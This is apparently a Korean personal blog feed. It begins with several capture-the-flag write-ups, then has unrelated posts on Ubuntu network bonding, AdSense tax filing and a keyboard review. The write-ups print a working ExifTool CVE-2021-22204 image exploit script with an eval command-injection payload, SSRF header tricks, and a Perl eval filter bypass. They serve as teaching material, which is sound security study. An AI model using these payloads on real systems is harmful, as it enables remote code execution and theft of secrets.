    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

취약점은 for 문을 빠져나오는 조건에서 발생합니다.

취약점 발생 위치

정규식 /(\\+)$/에서 $ 문자는 문자열의 끝이나

문자열의 끝에서 개행 전을 의미합니다.

따라서, 아래와 같은 Payload를 작성할 수 있습니다.

«입력» 
\ 
".`id`# 

«결과»
uid=1000(amal) gid=1000(amal) groups=1000(amal)

참고로,

취약점 발생 위치와

eval 함수 사이의 정규표현식의 의미는

아래와 같습니다.

# s{}{}sge는 sed 대체 명령(sed 's/old-text/new-text/g')과 유사하지만
# 내부의 이스케이프 슬래시를 제외합니다.

s  {\\(.)|([\$\@]|\\$)}  {'\\'.($2 || $1)}    s g e
│  │                  │  │               │    │   │
│  └────────┬─────────┘  └───────┬───────┘    └─┬─┘
│     search pattern      replace pattern    modifiers
│
└──── stands for "substitution"

+ 취약점 조치

이 취약점은

12.24 버전에서

아래와 같이

문자를 치환하고

eval 함수를 제거하여

조치되었습니다.

CVE-2021-22204 조치

+ Solve!

우선, POC용 이미지를 생성하기 위해

exiftool을 설치합니다.

환경을 맞추기 위해

문제의 Dockerfile을 참고해서

설치하면 됩니다.

# Home 디렉토리로 이동
cd ~

# Exiftool 설치 및 정리
wget https://github.com/exiftool/exiftool/archive/refs/tags/12.22.tar.gz && \
    tar xvf 12.22.tar.gz && \
    cp -fr ~/exiftool-12.22/* /usr/bin && \
    rm -rf ~/exiftool-12.22 && \
    rm 12.22.tar.gz

POC 이미지를 생성하는 코드는

이미 만들어진 코드를 변경하여 사용했으며,

아래와 같습니다.

#!/bin/env python3
# exploit.py

import base64
import subprocess

subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', "INFO=1,1", 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'image.jpg'])

기존에 exploit file를 생성하는 코드를

제거했기 때문에

직접 입력해줘야 합니다.

# Payload file 생성
vi payload

Payload는 다음과 같습니다.

(metadata (Warning "\
"; return `printenv FLAG`; #"))

Python Code를 실행시키면,

image.jpg 파일이 업데이트 됩니다.

POC용 이미지 파일 생성

생성된 파일을

문제 사이트에

업로드하면

FLAG 값을 얻을 수 있습니다.

Solved !!

[Line CTF 2023 Write Up] WEB 4번: Adult Simple GoCurl

루딘이 — Sun, 9 Apr 2023 15:16:40 +0900

이번 LINE CTF의

웹 분야 4번 문제 입니다.

1번 문제인

Baby Simple GoCurl 문제를

변형시킨 문제입니다.

# 개요

이번에도

/flag/ 페이지에 접속하여

FLAG를 획득하는

SSRF 문제입니다.

Adult Simple GoCurl 문제

# 환경 구성

문제 파일을 다운받으면,

Docker Image의 내용이 명시된

Dockerfile과

docker-compose.yaml 파일이

있습니다.

아래 명령어로

도커 컨테이너를 설치 및 실행시킬 수 있습니다.

# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
> cd dist

# Docker 컨테이너 설치&실행
> docker-compose up

WEB 4번 문제 설치 중

설치된 후 실행 중인 컨테이너의 CMD 창은

종료해도 상관 없습니다.

설치 후 실행 중인 4번 문제의 도커 컨테이너

아래 명령어를 통해

실행 중인 컨테이너의 PORT를

확인할 수 있습니다.

# 실행 중인 Docker Container 확인
> docker ps

접속 PORT 확인

도커가 실행 중인 서버(호스트)의

IP와 PORT로 접속하면

문제 사이트를 확인할 수 있습니다.

4번 문제의 웹 페이지

# 분석

문제로 제공된 파일들 중

중요한 파일은

main.pl

파일입니다.

+ main.pl

main.pl 파일의 내용입니다.

Web 1번 Baby Simple GoCurl 문제에서

ClientIP가 127.0.0.1 인지 확인하는 코드가

사라졌습니다.

c.ClientIP() != "127.0.0.1" 코드 삭제

필터링이 간단해진 것 처럼 보이지만...

사실,

ClientIP를 127.0.0.1로 속이면

뒤의 문자열 필터링을 우회할 수 있었던

취약점이 사라지면서

무조건, url 파라미터에

flag, curl, % 문자열이

존재하는지 확인하게 됩니다.

package main

...

func main() {
  flag := os.Getenv("FLAG")

  ...

  r.GET("/curl/", func(c *gin.Context) {
    client := &http.Client{
      CheckRedirect: func(req *http.Request, via []*http.Request) error {
        return redirectChecker(req, via)
      },
    }

    reqUrl := strings.ToLower(c.Query("url"))
    
    ...

    /**
    * c.ClientIP() != "127.0.0.1" &&
    * 코드가 사라지면서,
    * ClientIP를 127.0.0.1로 속여도
    * 문자열 필터링을 우회할 수 없게 됐다.
    **/
    if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
      c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
      return
    }

    req, err := http.NewRequest("GET", reqUrl, nil)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
      return
    }

    if reqHeaderKey != "" || reqHeaderValue != "" {
      req.Header.Set(reqHeaderKey, reqHeaderValue)
    }

    resp, err := client.Do(req)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
      return
    }

    ...
        
  })

  ...

  r.Run()
}

# 풀이

/flag/ 페이지의 코드를 보면

결국, 서버가

/flag/ 페이지에 접속해야 합니다.

+ X-Forwarded-Prefix Header

HTTP Request가 프록시(예: 로드밸런서)를 통과할 때

호스트, 포트 및 체계가 변경될 수 있으므로

클라이언트 관점에서

올바른 호스트, 포트 및 체계를 가리키는 링크를 만드는 것이 어렵습니다.

RFC 7239는

프록시가 원래 요청에 대한 정보를 제공하는 데 사용할 수 있는

Forwarded HTTP 헤더를 정의합니다.

표준 Forwarded Header:
- X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto

비표준 Forwarded Header:
- X-Forwarded-Ssl, X-Forwarded-Prefix 등

여기서, X-Forwarded-Prefix header는

프록시에 의해 변경되기 전,

Client가 요청했던 Origin Target Path를

명시하는 Header로 보이며,

이번 문제에서 사용된

Gin library는

불완전한(?) URL로 접속했을 때

올바른 URL로

Redirection을 발생시키며,

이때 X-Forwarded-Prefix header의 값을

참조합니다.

Gin Library의 Redirection 코드

GitHub - gin-gonic/gin: Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better perf

Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better performance -- up to 40 times faster. If you need smashing performance, get yourself some Gin. - ...

github.com

이번 문제에 사용된 문제점에 대한 글 또한 찾아 볼 수 있습니다.

/(슬래시) 만으로 리다이렉션하면

올바르지 않게 동작한다는 내용 입니다.

Respect the X-Forwarded-Prefix header (for redirects) · Issue #2916 · gin-gonic/gin

TL;DR Add support for the X-Forwarded-Prefix for improved support for reverse proxies. Redirects should always be relative to X-Forwarded-Prefix, not only in RedirectTrailingSlash. Description Redi...

github.com

+ Solve!

url 파라미터가

http://127.0.0.1:8080// 로

/(슬래시)가 붙은 이유는

이래야 Redirection이 발생하기 때문

Solved!

[Line CTF 2023 Write Up] WEB 2번: Old Pal

루딘이 — Fri, 7 Apr 2023 11:15:17 +0900

이번 LINE CTF의

웹 분야 2번 문제 입니다.

# 개요

정규표현식으로 작성된

입력값 필터링을

우회하여

FLAG를 획득하는 문제

입니다.

# 환경 구성

문제 파일을 다운받으면,

Docker Image의 내용이 명시된

Dockerfile과

docker-compose.yaml 파일이

있습니다.

아래 명령어로

도커 컨테이너를 설치 및 실행시킬 수 있습니다.

# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
> cd dist

# Docker 컨테이너 설치&실행
> docker-compose up

Web 2번 문제 설치 중

설치된 후 실행 중인 컨테이너의 CMD 창은

종료해도 상관 없습니다.

실행 중인 Web 2범 문제의 도커 컨테이너

아래 명령어를 통해

실행 중인 컨테이너의 PORT를

확인할 수 있습니다.

# 실행 중인 Docker Container 확인
> docker ps

접속 PORT 확인

도커가 실행 중인 서버(호스트)의

IP와 PORT로 접속하면

문제 사이트를 확인할 수 있습니다.

Web 2번 문제의 사이트

# 분석

문제로 제공된 파일들 중

중요한 파일은

main.pl

파일입니다.

+ main.pl

main.pl 파일의 내용입니다.

사용자로부터

password 파라미터를 입력받은 후

필터링을 거쳐

마지막에 eval 함수의 결과가 TRUE이면

FLAG를 획득할 수 있습니다.

필터링 규칙은

정규표현식으로 이루어졌으며,

아래와 같습니다.

필터링 규칙:
- 패스워드가 비어있지 않은지 확인
- 패스워드가 20자 이하인지 확인
- 패스워드가 알파벳, 숫자, 하이픈(-) 또는 언더스코어(_)만 포함하는지 확인
- 패스워드가 알파벳, 숫자, 하이픈 또는 언더스코어 중 적어도 하나씩을 포함하는지 확인
- 패스워드가 "0-9_-boxe" 중 하나라도 포함하지 않는지 확인
- 패스워드가 eval 인젝션을 허용하는 문자열을 포함하지 않는지 확인
- 패스워드가 "Mx. squ1ffy" 중 하나라도 포함하지 않는지 확인

#!/usr/bin/perl
# ...
my $pw = uri_unescape(scalar $q->param("password"));
# password 파라미터 확인
if ($pw eq '') {
print "Hello :)";
exit();
}
# 길이 20 제한
if (length($pw) >= 20) {
print "Too long :(";
die();
}
# 입력값은 숫자, 영대소문자, '_', '-'
if ($pw =~ /[^0-9a-zA-Z_-]/) {
print "Illegal character :(";
die();
}
# 숫자, 영대소문자, 특수문자(_, -) 3가지 종류 모두 포함
if ($pw !~ /[0-9]/ || $pw !~ /[a-zA-Z]/ || $pw !~ /[_-]/) {
print "Weak password :(";
die();
}
# 숫자, 특수문자(_, -) 바로 뒤에 b, o, x, e 불가
# Hex, Octal 등 다른 진수를 입력할 수 있기 때문
if ($pw =~ /[0-9_-][boxe]/i) {
print "Do not punch me :(";
die();
}
# 기본 선언된 문자열 사용 불가
if ($pw =~ /AUTOLOAD|BEGIN|CHECK|DESTROY|END|INIT|UNITCHECK|abs|accept|alarm|atan2|bind|binmode|bless|break|caller|chdir|chmod|chomp|chop|chown|chr|chroot|close|closedir|connect|cos|crypt|dbmclose|dbmopen|defined|delete|die|dump|each|endgrent|endhostent|endnetent|endprotoent|endpwent|endservent|eof|eval|exec|exists|exit|fcntl|fileno|flock|fork|format|formline|getc|getgrent|getgrgid|getgrnam|gethostbyaddr|gethostbyname|gethostent|getlogin|getnetbyaddr|getnetbyname|getnetent|getpeername|getpgrp|getppid|getpriority|getprotobyname|getprotobynumber|getprotoent|getpwent|getpwnam|getpwuid|getservbyname|getservbyport|getservent|getsockname|getsockopt|glob|gmtime|goto|grep|hex|index|int|ioctl|join|keys|kill|last|lc|lcfirst|length|link|listen|local|localtime|log|lstat|map|mkdir|msgctl|msgget|msgrcv|msgsnd|my|next|not|oct|open|opendir|ord|our|pack|pipe|pop|pos|print|printf|prototype|push|quotemeta|rand|read|readdir|readline|readlink|readpipe|recv|redo|ref|rename|require|reset|return|reverse|rewinddir|rindex|rmdir|say|scalar|seek|seekdir|select|semctl|semget|semop|send|setgrent|sethostent|setnetent|setpgrp|setpriority|setprotoent|setpwent|setservent|setsockopt|shift|shmctl|shmget|shmread|shmwrite|shutdown|sin|sleep|socket|socketpair|sort|splice|split|sprintf|sqrt|srand|stat|state|study|substr|symlink|syscall|sysopen|sysread|sysseek|system|syswrite|tell|telldir|tie|tied|time|times|truncate|uc|ucfirst|umask|undef|unlink|unpack|unshift|untie|use|utime|values|vec|wait|waitpid|wantarray|warn|write/) {
print "I know eval injection :(";
die();
}
# Mx. squ1ffy 문자열의 각 문자 포함 불가
if ($pw =~ /[Mx. squ1ffy]/i) {
print "You may have had one too many Old Pal :(";
die();
}
# eval("$pw == 20230325") 이 TRUE가 되야함
# $pw가 20230325가 아니라 입력된 값의 실행 결과(eval 함수)가 TRUE
if (eval("$pw == 20230325")) {
print "Congrats! Flag is LINECTF{redacted}"
} else {
print "wrong password :(";
die();
};

# 풀이

필터링을 우회하고

eval 인젝션을 발생시켜

입력값이 20230325가 되도록

해야하는 문제입니다.

숫자만 입력할 수 있으면

쉽게 만들겠지만

영문자와 '-', '_' 또한 포함되야 하므로

많은 고민과 시도를 하던 중

특수 변수를 알게 되었습니다.

(참조: https://www.w3big.com/ko/perl/perl-special-variables.html#gsc.tab=0)

특수 변수 예시(아래 예시보다 많음):
- __END__: 스크립트의 논리적 끝
- __FILE__: 현재 파일 이름
- __LINE__: 현재 행 번호
- __PACKAGE__: 현재 패키지 이름

현재 필요한 건

20230325를 만들기 위한 숫자이므로

__LINE__ 을 사용했습니다.

/cgi-bin/main.pl?password=20230326-__LINE__

Solved!

[Line CTF 2023 Write Up] WEB 1번: Baby Simple GoCurl

루딘이 — Wed, 5 Apr 2023 15:05:42 +0900

이번 CTF의

웹 분야 1번 문제 입니다.

# 개요

전형적인 SSRF 문제로

내부에서만

접근 가능한 페이지에

접속하여

FLAG를 획득하는 문제

입니다.

Web 1번 문제

# 환경 구성

문제 파일을 다운받으면,

Docker Image의 내용이 명시된

Dockerfile이 있습니다.

테스트를 위해

도커 이미지를 생성하고

생성된 이미지로

도커 컨테이너를 실행 시킵니다.

# Dockerfile이 존재하는 디렉토리/폴더로 이동 
# Docker Image 생성
> docker build -t baby-simple .

# 생성된 이미지 확인
> docker images

# 생성된 이미지 설치 및 실행
# Port Binding: 외부 PORT 11000 -> 내부 PORT 8080
> docker run -p 11000:8080 -d baby-simple

# 실행 중인 도커 컨테이너 확인
> docker ps

"docker ps" 명령어로

풀이 대상의

도커 컨테이너를 확인할 수 있습니다.

실행 중인 도커 컨테이너 확인

도커가 실행 중인 서버(호스트)의

IP와 PORT로 접속하면

문제 사이트를 확인할 수 있습니다.

웹 1번 문제의 사이트

# 분석

문제로 제공된 파일들 중

중요한 파일은

Dockerfile, main.go

파일입니다.

+ Dockerfile

Docker Image의 내용을

기입하는 파일입니다.

파일의 내용을 보면

웹 서비스를 제공하고자

GO 언어 환경을 구성하기 하지만

문제 풀이에 필요한 FLAG 및

SSRF에서 사용할 내부 PORT 정보가

담겨 있습니다.

FROM golang:1.19

ENV FLAG = "LINECTF{redacted}"   # 환경변수에 FLAG 설정
ENV GOCURL /usr/local/opt/gocurl
RUN mkdir -p "${GOCURL}"

RUN apt-get -qq update && \
  apt-get -qq -y upgrade && \
  apt-get -qq -y install htop net-tools vim curl 

ENV GO111MODULE=on \
    CGO_ENABLED=0 \
    GOOS=linux \
    GOARCH=amd64

COPY ./baby-simple-gocurl "${GOCURL}"
COPY start.sh "${GOCURL}/start.sh"

WORKDIR "${GOCURL}"
RUN go mod download
RUN go build -o main .

RUN chmod -R 705 "${GOCURL}"

RUN groupadd -g 1000 gocurl
RUN useradd -g gocurl -s /bin/bash gocurl

USER gocurl
EXPOSE 8080   # 내부 PORT 정보
WORKDIR "${GOCURL}"
ENTRYPOINT ["./start.sh"]

+ main.go: "/flag/"

우선 FLAG는

환경변수에서 불러온 후,

"/flag/" 페이지에 접속했을 때

확인할 수 있습니다.

다만, 접속자(Client)의 IP가

127.0.0.1 로

즉, 서버에서 접속해야만

FLAG를 확인할 수 있습니다.

func main() {
  // 환경 변수에서 FLAG 저장
  flag := os.Getenv("FLAG")
    
  ...

  // /flag/ 페이지 내용
  r.GET("/flag/", func(c *gin.Context) {
      // 접속자 IP(Client IP) 획득
    reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

    log.Println("[+] IP : " + reqIP)
        
    // 접속자 IP가 127.0.0.1 이어야 함
    if reqIP == "127.0.0.1" {
      c.JSON(http.StatusOK, gin.H{
        "message": flag,	// flag 획득
      })
      return
    }

    c.JSON(http.StatusBadRequest, gin.H{
      "message": "You are a Guest, This is only for Host",
    })
  })

  r.Run()
}

+ main.go: "/curl/"

이 /curl/ 페이지는

윈도우의 CURL 명령어 처럼

입력된 URL 주소와

HTTP Header 정보를 가지고

HTTP 패킷을 생성, 접속하여

그 응답값을 보여주는 페이지입니다.

다만, 몇가지 조건이 있습니다.

조건1: 접속자 IP 및 URL의 path 필터링
- 127.0.0.1에서만 /flag/ 라우트를 사용할 수 있으며,
/curl/ 라우트에 전달되는 URL에는
"flag", "curl", "%"(URL 인코딩 문자)과 같은 문자열이 포함될 수 없습니다.

조건2: 이전 요청의 IP 필터
- redirectChecker 함수는 via의 길이가 2 이상이거나,
이전 요청의 IP 주소가 "127.0.0.1"이 아닌 경우 에러를 반환합니다.

// redirectChecker 함수
func redirectChecker(req *http.Request, via []*http.Request) error {
  /**
  /* via는 HTTP 리다이렉트 체인의 이전 요청들을 저장하는 슬라이스입니다.
  /* via[len(via)-1]은 현재 요청 이전의 요청을 나타냅니다.
  /* 이전 요청의 IP 주소를 가져와서 reqIp 변수에 저장합니다.
  /**/
  reqIp := strings.Split(via[len(via)-1].Host, ":")[0]
  if len(via) >= 2 || reqIp != "127.0.0.1" {
    return errors.New("Something wrong")
  }
  return nil
}

func main() {
	
  ...

  r.GET("/curl/", func(c *gin.Context) {
    /**
    /* client는 아래 입력값 필터링(검증)이 끝난 후,
    /* 지정된 URL로 접속하여 그 결과를 가져올 때 사용됨
    /**/
    client := &http.Client{
      CheckRedirect: func(req *http.Request, via []*http.Request) error {
        return redirectChecker(req, via)
      },
    }

    reqUrl := strings.ToLower(c.Query("url"))
    reqHeaderKey := c.Query("header_key")
    reqHeaderValue := c.Query("header_value")
    reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
    fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

    /* 입력값 검증 */
    /**
    /* 접속자 IP(ClientIP)가 127.0.0.1이 아닌 경우,
    /* 입력된 URL에 flag, curl, % 등이 있으면
    /* Something Wrong 임
    /**/
    if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
      c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
      return
    }

    /* HTTP Request 생성 */
    req, err := http.NewRequest("GET", reqUrl, nil)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
      return
    }

    /* HTTP Request Header 입력 */
    if reqHeaderKey != "" || reqHeaderValue != "" {
      req.Header.Set(reqHeaderKey, reqHeaderValue)
    }

    /* Send HTTP Request & Receive HTTP Response */
    resp, err := client.Do(req)
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
      return
    }

    ...

  })

    ...

    r.Run()
}

단, 위 코드에서 주의할 점은

일반적으로 개발 언어에 상관 없이

조건문에서 AND 연산의 경우

프로그램의 효율을 위해

앞의 결과가 FALSE인 경우,

어차피 전체 결과 또한 FALSE이기 때문에

뒤의 결과를 확인하지 않는다는

규칙이 존재합니다.

// 앞이 이미 False 이므로, 뒤는 확인하지 않는다.
if 1==0 && 1==fmt.Println("실행되지 않음") { ... }

// OR은 반대임(앞이 True면, 뒤에 상관없이 전체가 True이기 때문)
if 1==1 || 0==fmt.Println("실행되지 않음") { ... }

따라서, 위의 /curl/ 페이지에 존재하는 필터링의 경우

접속한 Client IP가 서버에서 127.0.0.1로 인식되면

뒤의 문자열 필터링은 생략됩니다.

# 풀이

이 문제를 풀기 위해서는

두 가지 조건을 충족시켜야 합니다.

조건 1: /flag/ 페이지는 서버에서만 접속 가능
- /flag/ 페이지에 접속을 해야하는 데
이 페이지는 127.0.0.1
즉, 서버에서만 접속이 가능

조건 2: /curl/ 페이지 필터링 우회
- 서버에서 접속한 Client IP가 127.0.0.1로 인식되어야 함

위의 조건을 충족시키기 위해

아래와 같은 방법을 사용했습니다.

조건 1 우회: /curl?url=http://127.0.0.1:8080/flag/
- curl 페이지를 사용하면 서버에서 /flag/ 페이지에 접속하게 되며,
그 결과를 사용자에게 반환

조건 2 우회: X-Forwarded-For Header
- HTTP Request의 X-Forwarded-For header를 사용하여
Client의 IP를 127.0.0.1 로 인식

* X-Forwarded-For Header:
- HTTP 프록시나 로드 밸런서를 통해
웹 서버에 접속하는 Client의 IP 주소를 식별하는 표준 헤더

위의 우회방안을 조합하여

아래와 같이 서버로 요청하면

FLAG를 획득할 수 있습니다.

FLAG 획득!

[Ubuntu 20.04] 본딩(듀얼랜), 노트북 덮개, 숨겨진 와이파이 연결

루딘이 — Sat, 11 Feb 2023 17:05:48 +0900

집에 남아있는 노트북에

쿠버네티스를 위한 서버를

구축하기 위한

기본 환경 세팅을

정리했습니다.

# 본딩(Bonding)

본딩(Windows -> Teaming)이란

하드웨어(PC, 서버, 노트북 등)에

네트워크 인터페이스(유선, 무선 랜카드 등)가

여러개 설치된 경우,

이 인터페이스들을

하나로 묶어

하나의 통신 채널로 사용하는 기능입니다.

- 높은 대역폭을 확보할 수 있고 네트워크 인터페이스, 케이블, 스위치 등의 장애에 대비할 수 있음
- 실무에서는 대역폭 확장의 용도 보다는 장애 대비용으로 많이 사용됨

+ 모드

본딩에는 총

6가지 모드가

존재하며,

스위치의 지원 여부, 설정 등

여러가지 이유로 인해

mode 0 이나 mode 1을

많이 사용하는 것 같습니다.

Mode 0: Round-robin(mode: balance-rr)

- 송신하는 패킷마다 사용하는 LAN 포트를 변경합니다.
- RR(RoundRobin) 방식 Load Balancing, 인터페이스의 라운드 로빈(active-active 대역폭 상승+Failover를 지원)
- 디바이스가 2개일 경우(랜 포트 두 개) 트래픽을 같이 사용할 수 있어 대역폭 분산시키는데 효과적입니다.
- [A NIC -> B NIC -> A NIC -> B NIC 순]으로 패킷을 분산시키는 방법을 사용합니다.
- 스위치에서 지원한다면 hashing 업이 load balancing 됩니다.

Mode 1: Active-backup(mode: active-backup)

- bond LAN port 중 한 개의 포트만 사용합니다.(하나의 슬레이브만 활성화와 같은 의미)
- LAN port 이상이나 고장이 생길 경우 대체됩니다.(나머지 슬레이브는 standby 상태)
- Failover전용 mode입니다.
- primary를 설정하지 않으면 failback 되지 않습니다.
- 스위치 지원은 필요 없습니다.

Mode 2: XOR(mode: balance-xor)

- mode 0과 비슷하지만, 목적지와 발신지의 MAC address XOR연산을 통해 사용할 LAN port 결정합니다.
- XOR 방식 / 수신 시에는 MAC address로 매핑합니다.
- 송신 시 1번 NIC를 사용합니다.
(NIC는 Network Interface Card로 흔히 랜카드나 랜 포트를 이야기합니다.)

Mode 3: Broadcast(mode: broadcast)

- 모든 bond LAN port를 사용하여 데이터 전송합니다.
(특별한 상황 외에는 사용가 빈도 극히 낮습니다.)
- Failover를 지원합니다.
- 스위치 지원은 필요 없습니다.

Mode 4: 802.3ad(Link Aggregation), LACP(mode: 802.3ad)

- IEEE 802.3ad 프로토콜을 이용하여 Aggregation을 작성합니다.
- 대역폭이 상승하고 부하가 분산됩니다.
- Failover를 지원합니다.
- 802.3ad Dynamic Link aggregation (동적 링크 집계)
- switch에 aggregation group을 생성해야 합니다.
- switch가 802.3ad를 지원해야 합니다.
- 같은 속도와 duplex 설정을 공유하는 aggregation group을 만들어야 합니다.
- 송/수신은 active aggregator 안에서 수행되고, 연결 대수에 상관없이 그룹화에 따라 회선의 정책이 변경되어 무단절 인터넷 연결을 가능하게 만드는 방식입니다.

Mode 5: TLB(mode: balance-tlb)

- 적응형 송신 부하분산
- 특별한 지원이 OS 자체적으로 구동가능한 방법으로 각 링크의 현재 로드에 따라 보내는 데이터는 분산되어 전송됩니다.
(로드밸런싱으로 송신 시 부하가 낮은 LAN port를 사용합니다.)
- 데이터의 수신은 현재 slave쪽으로만 가게되며 해당 slave가 fail시 다른 slave가 MAC주소를 넘겨받아 수신합니다.
- 데이터를 보낼 때에 드라이버가 MAC address를 링크의 것으로 바꿔 보내지만 받을 때에는 그냥 남겨둡니다.
- 스위치 지원은 필요 없습니다.

Mode 6: ALB(mode: balance-alb)

- 적응형 송수신 부하분산
- mode 4(802.3ad)를 스위치가 지원하지 않을 때 사용하면 됩니다.
- mode 5와 같이 동작하지만 데이터 수신 시에서 load-balancing을 하는데 두개의 링크에서 ARP negotiation을 통하여 동작합니다.
- 송수신시 부하가 낮은 NIC를 사용합니다.
- 스위치 지원은 필요 없습니다.

+ 설정

설치할 때 설정이 가능합니다.

이미 설치한 경우엔,

아래와 같이 설정하면 됩니다.

설정 참고

1. interface가 많은 이유
- 재부팅할 때마다 USB 랜카드의 이름이 계속 바뀜...

2. wlp2s0 인터페이스?
- 설치할 때 본딩을 했더니, 무선 인터페이스의 설정 파일이 따로 있음
(00-installer-config-wifi.yaml)

3. 고정 IP 세팅

# This is the network config written by 'subiquity'
# sudo vi /etc/netplan/00-installer-config.yaml
network:
  bonds:
    bond0:
      addresses:
      - 192.168.219.150/24
      interfaces:
      - enx6eb1029a8cae
      - enx28ee5201ec23
      - enxbecea79f2358
      - wlp2s0
      nameservers:
        addresses:
        - 1.214.68.2
        search:
        - 61.41.153.2
      parameters:
        mode: balance-rr
      routes:
      - to: default
        via: 192.168.219.1
  ethernets:
    enx6eb1029a8cae: {}
    enx28ee5201ec23: {}
    enxbecea79f2358: {}
  version: 2

설정 적용

$ sudo netplan apply
$ ip addr

bond 설정 완료

# 숨겨진 와이파이 연결

와이파이의 SSID가 숨겨진 경우

연결하는 방법 입니다.

설정 참고

1. hidden: true
- 이 설정이 있어야 숨겨진 와이파이에 연결 됩니다.

2. dhcp4: false
- 본딩하는 경우 dhcp 기능을 꺼야 합니다.

# This is the network config written by 'subiquity'
# $ sudo vi /etc/netplan/00-installer-config-wifi.yaml

network:
  version: 2
  wifis:
    wlp2s0: #<-- Wireless interface name
      access-points:
        Hidden Wifi ssid: #<-- 와이파이 이름
          hidden: true #<-- 이 설정이 있어야 함
          password: Hidden Wifi password #<-- 와이파이 비밀번호
      dhcp4: false #<-- 본딩 때문에 false

# 노트북 덮개 절전모드 해제

서버를 노트북에 설치하다보니

덮개를 덮으면

절전모드로 들어가서

이 설정을 해제했습니다.

설정 참고

1. HandleLidSwitch=ignore
- Triggered when the lid is closed, except in the cases below.
(HandleLidSwitchDocked, HandleLidSwitchExternalPower)
- defulat: suspend
- options: poweroff, hibernate, ignore, lock

$ sudo systemctl restart systemd-logind

부가가치세 안내는 애드센스 면세사업자 사업장현황신고

루딘이 — Sun, 8 Jan 2023 20:05:36 +0900

1인 미디어 콘텐츠 창작자와 같이

면세사업자에 해당하는 경우

부가가치세는 신고하지 않으며,

사업장현황신고와

종합소득세 신고만 하면 됩니다.

다만, 구입하는 카메라, 조명, 마이크 등은

부가가치세액 공제를 받지 못합니다.

면세사업자는 부가세가 면제이기 때문입니다.

# 신고기한

작년 한해 동안 발생한

수입금액과 지출 경비를

1년에 한번

1월 1일 ~ 2월 10일 사이에

신고하면 됩니다.

무실적 신고가 있으니

실적이 없더라도

대상이라면

반드시 신고해야 합니다.

+ 신고 대상

국세청에 안내되는

신고대상은

다음과 같습니다.

신고 대상 사업자

+ 신고 기한 & 불성실 가산세

국세청에서 안내되는

신고 기한과

불성실 가산세는

다음과 같습니다.

신고기한 & 불성실 가산세

# 사업장현황신고 페이지

신고는 간단하며,

PC(hometax.go.kr)과 모바일(손텍스 앱)에서

모두 가능합니다.

이번에는

PC에서 진행했기 때문에

PC 기준으로 작성했습니다.

+ Hometax 사이트 접속

우선 Hometax 사이트에

접속 및 로그인 합니다.

https://hometax.go.kr

국세청 홈택스

hometax.go.kr

+ 신고 페이지

신고 기간이 되면

Hometax 메인에

바로 접속할 수 있는

배너가 나타나지만

바로 접속 가능한 배너

없을 경우

사업장 현황 신고 페이지는

아래 경로를 따르면 됩니다.

사업장현황신서 페이지:
신고/납부 > 일반신고 > 사업장현황 신고 > 사업장현황신고서 작성하기

신고/납부 > 일반신고 > 사업장현황 신고

사업현황신고서 작성하기

# 신고하기

매출/매입처별 계산서 합계표를 작성해야 합니다.

전자신고가 가능하니 꼭 서면으로 할 필요는 없습니다.

+ 기본정보 입력

사업자 번호, 인적 사항 등

기본 정보를 입력합니다.

첨부서류의 경우,

애드센스 수익만으론

서류가 필요 없으므로

해당없음/미제출

로 저장합니다.

기본정보 입력

+ 수입금액내역

수입금액을 입력하기 위해

우선 업종코드를 입력합니다.

업종코드 입력

검색란에 "1인미디어" 를

입력하고 조회하면

94036 기타자영업 1인미디어콘텐츠

가 검색 됩니다.

단, 사업자 신고가 다른 사업으로 된 경우

해당 사업 분류명으로 검색해야합니다.

업종 검색 및 선택

업종을 선택했으면,

지난 1년간 애드센스 수익을

수익금액과 기타매출에

동일하게 입력하면 됩니다.

수익금 입력

애드센스 수익금의 경우,

저는 외화 입금 시 한화로 환전되어

제 통장에 들어오기 때문에

통장 입금 내역에서

일일이 찾아 확인했습니다.

+ 매입적격증빙수취내역

애드센스 수익은

신용카드, 현금영수증 수익 등이

발생하지 않으므로

넘어가시면 됩니다.

신고서 작성완료

+ 신고서 제출

끝으로 마지막 화면에서

앞에서 입력한 내용들을

다시 확인한 후

제출하면 됩니다.

신고서 제출

# 신고 확인

신고 내용은

사업장현황 신고와

동일한 페이지에서

확인할 수 있습니다.

사업장현황신서 페이지:
신고/납부 > 일반신고 > 사업장현황 신고 > Step 2. 제출내역 > 조회하기

제출내역 조회

사무실용 기계식 저소음 키보드 COX CK01 TKL PBT SL 실사용 후기

루딘이 — Thu, 29 Dec 2022 18:28:13 +0900

집에서 사용하는 키보드가

청축과 적축 두개라

사무실에서 쓰기엔

주변사람들에게

너무 피해가 가서

조용한 키보드를 찾던 중

저렴한 가성비 가격에

조용한 키보드를 찾아

실사용 리뷰를 적습니다.

# 스팩

저소음 백축을 사용하는

이 키보드의 스팩은

다음과 같습니다.

스위치 : GTMX 리니어 타입 저소음 백축
키압 : 60 +/- 10gf
색상 : 터키쉬 그린&화이트
크기 : 370 x 134 x 34 mm
무게 : 700 +/- 5g
키배열 : Tenkeyless
연결방식 : USB
케이블길이 : 1.8m

터키쉬 그린. 너무 마음에 든다.

# 외관(LED)

개인적으론 디자인이

상당히 마음에 들었습니다.

+ Caps Lock , Num Lock, Scroll Lock

색상이 제일 맘에 들었지만

그 다음으론

Caps Lock , Num Lock, Scroll Lock 키

